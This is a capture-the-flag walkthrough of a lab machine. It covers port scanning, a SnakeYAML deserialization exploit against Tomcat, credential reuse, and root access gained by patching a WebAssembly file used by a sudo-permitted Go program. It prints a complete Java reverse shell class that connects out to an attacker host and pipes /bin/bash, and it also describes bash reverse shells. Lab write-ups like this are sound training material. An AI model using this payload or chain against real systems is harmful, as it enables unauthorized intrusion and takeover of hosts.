Jump Ahead: Enum – User – Root – Resources
TL;DR;
To solve this machine, we begin by enumerating open ports – finding only 22
and 8080
open. From the webserver on port 8080
, we exploit a Java deserialization vulnerability to get a reverse shell as tomcat
. Looking around the machine, we find credentials for the admin
user – allowing access to user.txt
. After getting a shell as admin
, we run our quick manual checks, and find we can compile and run a go
program as root
. The program allows for code execution if exploited to meet the required condition. To exploit the condition, we have to reverse engineer a required file, and patch it. After patching the required file, we exploit the root provisioned command to get a reverse shell. As root
, we are allowed to read root.txt
.
Enumeration
Like all machines, we begin by enumerating open ports – findings ports 22
and 8080
open.
$ sudo nmap -v -sV -A -p- -oA enum/nmap/tcp-all-scripts 10.129.102.109
# Nmap 7.91 scan initiated Sun Feb 14 12:14:25 2021 as: nmap -sV -A -p- -oA enum/nmap/tcp-all-scripts 10.129.102.109
Nmap scan report for 10.129.102.109
Host is up (0.043s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open http Apache Tomcat 9.0.38
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Parse YAML
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=2/14%OT=22%CT=1%CU=41440%PV=Y%DS=2%DC=T%G=Y%TM=602968B
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=10D%TI=Z%CI=Z%TS=A)OPS(O1=M5
OS:4DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O
OS:6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%D
OS:F=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%
OS:RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%I
OS:PL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 33.424 days (since Tue Jan 12 02:05:05 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=254 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 41.80 ms 10.10.14.1
2 41.97 ms 10.129.102.109
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 14 12:15:22 2021 -- 1 IP address (1 host up) scanned in 57.06 seconds
Based on the fingerprinting, port 8080
is running an Apache Tomcat webserver. Checking Tomcat Manager (/manager
) for default credentials does not work, so we launch other web enumeration tools such as gobuster
and nikto
. These do not return any valuable results.
Getting User
Going to the main page, we see that the webserver is hosting a yaml parser. When we attempt to use it, the webserver produces an error.
Checking the source code, we do not see anything of particular interest. As the webserver is Apache Tomcat (which uses Java), we Google “yaml java exploit”. In our research, we find this article, which details a remote code execution vulnerability in SnakeYAML – a YAML parser for Java. In the article, it gives a POC that connects to a webserver and attempts to access a file. To verify we found a valid vulnerability, we start a netcat
listener on port 80
, and attempt the same POC.
Since the POC worked, we now have a valid vulnerability that we can attempt to exploit to get a reverse shell. Within the article, a GitHub repository is linked that we should be able to use to exploit the vulnerability. As the exploit documentation states, we edit AwesomeScriptEngineFactory.java
to try to launch a bash
reverse shell, however, we are not able to get it to work. We try other types of reverse shells, such as python and netcat, but these also fail. Through further research, we find that the failures are due to a limitation of the “Runtime.getRunTime().exec()” method. Since the exploit is written in Java, we Google for “Java reverse shells” and find this script. Next, we replace the code within the “AwesomeScriptEngineFactory” class of the “yaml-payload” code with the the code of the Java reverse shell. To get it to work correctly, we have to add the extra imports, and modify the class constructor. Lastly, we need to change the host and port. The final product looks like this:
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() throws Exception {
String host="10.10.14.53";
int port=4433;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
After we’ve made the modifications to the “yaml-payload” code, we can rebuild the exploit. To get our reverse shell, we can start a netcat
listener, and attempt to retrigger the exploit from the webserver by downloading the built jar file. Doing so, we get a reverse shell as tomcat
.
tomcat
Since we have a reverse shell as tomcat
, and know that the webserver is hosting Apache Tomcat, we grab the manager credentials from /opt/tomcat/conf/tomcat-users.xml
.
Trying the credentials using the su
command, we get a shell as admin
. Going to admin
‘s home directory, we can now read user.txt
.
admin
and reading user.txt
Getting Root
Once we’ve gotten our shell as admin
, we do our initial enumeration. Since we have a password for this user, we start with sudo -l
. By doing this, we see that we are allowed to compile and run a go
application located at /opt/wasm-functions/index.go
. Next, we observe the script to try to understand what it does. Based on our observation, we should be able to run a shell script as root
if we are able to get “1” to return from the “info()” function call.
sudo
To understand how to get “1” to return from the function call, we will need to decompile the WebAssembly file, main.wasm
, as it contains the function definition. While researching tools to do this, we found this GitHub repository. Next, we clone the repository, and download the WebAssembly file. Using the wasm-decompile
tool, we decompile the WebAssembly file, where we see the “info()” function unconditionally returns “0”. To execute the shell, we need to patch the function to return “1”.
As the decompilation is just a representation of the code, we look at the other tools the repository has to offer that will allow us to do a disassemble and reassemble. For these steps, we find the wasm2wat
and wat2wasm
tools. Using the wasm2wat
command, we disassemble the WebAssembly file. On line 4
, we see “i32.const 0”. As we know that currently the function returns “0”, we assume this is the line we should patch to be “1”. We change the return value to “1”, and convert the wat file to WebAssembly. To confirm we made the patch correctly, we use wasm-decompile
.
Now that we’ve successfully patched the WebAssembly file, we upload it to the remote machine into the admin
user’s directory. Since the only thing the program does is run deploy.sh
, we create a deploy.sh
file that just executes a bash reverse shell. Finally, we start a netcat
listener, and execute the privileged go
command. We get a reverse shell as root
, and can now read root.txt
!
sudo
permission to get a reverse shell and read root.txt
Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!